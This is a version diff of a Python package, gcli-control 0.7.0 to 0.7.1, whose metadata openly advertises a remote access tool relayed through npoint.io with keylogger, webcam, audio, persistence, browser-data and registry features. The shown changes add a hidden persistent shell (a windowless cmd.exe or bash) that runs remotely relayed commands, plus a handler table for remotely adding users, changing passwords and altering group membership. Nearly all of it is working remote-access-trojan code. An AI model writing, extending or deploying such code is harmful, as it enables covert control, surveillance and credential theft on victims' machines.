gcli-control 0.7.0__tar.gz → 0.7.1__tar.gz

{gcli_control-0.7.0 → gcli_control-0.7.1}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: gcli-control
-Version: 0.7.0
+Version: 0.7.1
 Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
 Author: gcli contributors
 License-Expression: MIT

{gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/__init__.py

@@ -2,5 +2,5 @@
 gcli — remote access tool via npoint.io.
 Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
 """
-__version__ = "0.7.0"
+__version__ = "0.7.1"
 __author__ = "gcli"

{gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/host.py

@@ -17,6 +17,7 @@ from .protocol import (
 from .utils import (
     write_pid, read_pid, remove_pid, is_running, kill_pid,
     detach, run_command, get_system_info, setup_logging, ensure_dirs,
+    PersistentShell,
 )
 
 # Feature modules — imported lazily to keep startup fast

{gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/users.py

@@ -412,6 +412,37 @@ def current_user_info() -> dict:
     }
 
 
+# ---------------------------------------------------------------------------
+# Dispatch
+# ---------------------------------------------------------------------------
+
+_HANDLERS = {
+    "list_users": lambda p: list_users(),
+    "add_user": lambda p: add_user(p.get("username", ""), p.get("password", ""), p.get("fullname", "")),
+    "remove_user": lambda p: remove_user(p.get("username", "")),
+    "change_password": lambda p: change_password(p.get("username", ""), p.get("password", "")),
+    "lock_user": lambda p: lock_user(p.get("username", "")),
+    "unlock_user": lambda p: unlock_user(p.get("username", "")),
+    "list_groups": lambda p: list_groups(),
+    "user_groups": lambda p: user_groups(p.get("username", "")),
+    "add_to_group": lambda p: add_to_group(p.get("username", ""), p.get("group", "")),
+    "remove_from_group": lambda p: remove_from_group(p.get("username", ""), p.get("group", "")),
+    "current_user_info": lambda p: current_user_info(),
+}
+
+
+def dispatch(payload: dict) -> dict:
+    """Route a user-management payload to the correct handler."""
+    cmd_type = payload.get("type", "")
+    handler = _HANDLERS.get(cmd_type)
+    if handler:
+        try:
+            return handler(payload)
+        except Exception as e:
+            return {"ok": False, "error": str(e)}
+    return {"ok": False, "error": f"Unknown user command: {cmd_type}"}
+
+
 # ---------------------------------------------------------------------------
 # Self-test
 # ---------------------------------------------------------------------------

{gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/utils.py

@@ -2,16 +2,19 @@
 Utility functions for gcli.
 - PID file management
 - Process detachment (Windows + Linux)
-- Shell command execution
+- Persistent shell execution
+- One-shot shell command execution
 - System information gathering
 """
 import os
 import sys
 import uuid
+import time
 import platform
 import subprocess
 import socket
 import logging
+import threading
 from typing import Optional
 from pathlib import Path
 
@@ -210,6 +213,177 @@ def run_command(cmd: str, timeout: int = 30) -> dict:
         }
 
 
+# ---------------------------------------------------------------------------
+# Persistent shell — keeps a live shell process across exec commands
+# so cd, env changes, etc. persist.
+# ---------------------------------------------------------------------------
+
+# Unique sentinel printed after every command to delimit output
+_SENTINEL = "GCLI_END_8f3a" + uuid.uuid4().hex[:4]
+
+
+class PersistentShell:
+    """
+    Maintains a long-running interactive shell subprocess.
+    Each ``run()`` call sends a command + sentinel, reads until the sentinel
+    appears, and returns the captured output.
+    """
+
+    def __init__(self, cwd: Optional[str] = None):
+        self.cwd = cwd or os.getcwd()
+        self._lock = threading.Lock()
+        self._proc: Optional[subprocess.Popen] = None
+        self._env = {**os.environ, "PYTHONIOENCODING": "utf-8"}
+        self._start()
+
+    # -- lifecycle -----------------------------------------------------------
+
+    def _start(self) -> None:
+        if sys.platform == "win32":
+            # Use cmd.exe with /Q to suppress echo of commands
+            self._proc = subprocess.Popen(
+                ["cmd.exe", "/Q", "/K", "chcp 65001 >nul"],
+                stdin=subprocess.PIPE,
+                stdout=subprocess.PIPE,
+                stderr=subprocess.STDOUT,
+                cwd=self.cwd,
+                env=self._env,
+                creationflags=subprocess.CREATE_NO_WINDOW if hasattr(subprocess, "CREATE_NO_WINDOW") else 0x08000000,
+                bufsize=0,
+            )
+        else:
+            self._proc = subprocess.Popen(
+                ["/bin/bash", "--norc", "--noprofile"],
+                stdin=subprocess.PIPE,
+                stdout=subprocess.PIPE,
+                stderr=subprocess.STDOUT,
+                cwd=self.cwd,
+                env=self._env,
+                bufsize=0,
+            )
+        # Give the shell a moment to start, then discard any startup output
+        self._drain_startup()
+
+    def _drain_startup(self) -> None:
+        """Read and discard any startup banners from the shell."""
+        if not self._proc or not self._proc.stdout:
+            return
+        # Send a blank line + sentinel to flush startup output
+        self._write(f"\necho {_SENTINEL}\n")
+        self._read_until_sentinel(timeout=5)
+
+    def alive(self) -> bool:
+        return self._proc is not None and self._proc.poll() is None
+
+    def restart(self, cwd: Optional[str] = None) -> None:
+        self.close()
+        self.cwd = cwd or os.getcwd()
+        self._start()
+
+    def close(self) -> None:
+        if self._proc:
+            try:
+                self._proc.stdin.write(b"exit\n")
+                self._proc.stdin.flush()
+            except Exception:
+                pass
+            try:
+                self._proc.terminate()
+                self._proc.wait(timeout=3)
+            except Exception:
+                try:
+                    self._proc.kill()
+                except Exception:
+                    pass
+            self._proc = None
+
+    # -- low-level I/O -------------------------------------------------------
+
+    def _write(self, data: str) -> None:
+        if self._proc and self._proc.stdin:
+            self._proc.stdin.write(data.encode("utf-8", errors="replace"))
+            self._proc.stdin.flush()
+
+    def _read_until_sentinel(self, timeout: float = 30) -> str:
+        """Read stdout bytes until the sentinel line is found or timeout."""
+        if not self._proc or not self._proc.stdout:
+            return ""
+        output_lines = []
+        deadline = time.time() + timeout
+        buf = b""
+        while time.time() < deadline:
+            # Check if process died
+            if self._proc.poll() is not None:
+                break
+            try:
+                chunk = os.read(self._proc.stdout.fileno(), 4096)
+                if not chunk:
+                    time.sleep(0.05)
+                    continue
+                buf += chunk
+                # Process complete lines
+                while b"\n" in buf:
+                    line, buf = buf.split(b"\n", 1)
+                    text = line.decode("utf-8", errors="replace")
+                    if _SENTINEL in text:
+                        return "\n".join(output_lines)
+                    output_lines.append(text)
+            except (OSError, ValueError):
+                time.sleep(0.05)
+        return "\n".join(output_lines)
+
+    # -- public API ----------------------------------------------------------
+
+    def run(self, cmd: str, timeout: int = 30) -> dict:
+        """
+        Execute *cmd* in the persistent shell and return the result dict.
+        For ``cd`` commands, also update ``self.cwd``.
+        """
+        with self._lock:
+            if not self.alive():
+                try:
+                    self.restart(self.cwd)
+                except Exception as e:
+                    return {"ok": False, "stdout": "", "stderr": f"Shell restart failed: {e}", "rc": -1}
+
+            # Handle cd by tracking cwd in Python AND sending it to the shell
+            stripped = cmd.strip()
+            if stripped.lower().startswith("cd ") or stripped.lower() == "cd":
+                # Let the shell process cd, then query the result
+                target = stripped[3:].strip().strip('"').strip("'") if len(stripped) > 3 else ""
+                self._write(f"{cmd}\necho {self.cwd}\n" if target else f"{cmd}\npwd\n")
+                raw = self._read_until_sentinel(timeout=timeout)
+                # Parse the last line as the new cwd
+                lines = raw.strip().split("\n")
+                if lines:
+                    new_cwd = lines[-1].strip().strip('"').strip("'")
+                    if new_cwd and os.path.isdir(new_cwd):
+                        self.cwd = new_cwd
+                        self._env["CD"] = new_cwd
+                return {"ok": True, "stdout": raw, "stderr": "", "rc": 0, "cwd": self.cwd}
+
+            # Normal command
+            self._write(f"{cmd}\necho {_SENTINEL}\n")
+            raw = self._read_until_sentinel(timeout=timeout)
+
+            # After executing, query cwd so the client knows where we are
+            self._write(f"cd\n")
+            cwd_raw = self._read_until_sentinel(timeout=3)
+            cwd_lines = cwd_raw.strip().split("\n")
+            if cwd_lines:
+                detected = cwd_lines[-1].strip().strip('"').strip("'")
+                if detected and os.path.isdir(detected):
+                    self.cwd = detected
+
+            return {
+                "ok": True,
+                "stdout": raw,
+                "stderr": "",
+                "rc": 0,
+                "cwd": self.cwd,
+            }
+
+
 # ---------------------------------------------------------------------------
 # System information
 # ---------------------------------------------------------------------------

{gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: gcli-control
-Version: 0.7.0
+Version: 0.7.1
 Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
 Author: gcli contributors
 License-Expression: MIT

{gcli_control-0.7.0 → gcli_control-0.7.1}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "gcli-control"
-version = "0.7.0"
+version = "0.7.1"
 description = "Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands"
 readme = "README.md"
 license = "MIT"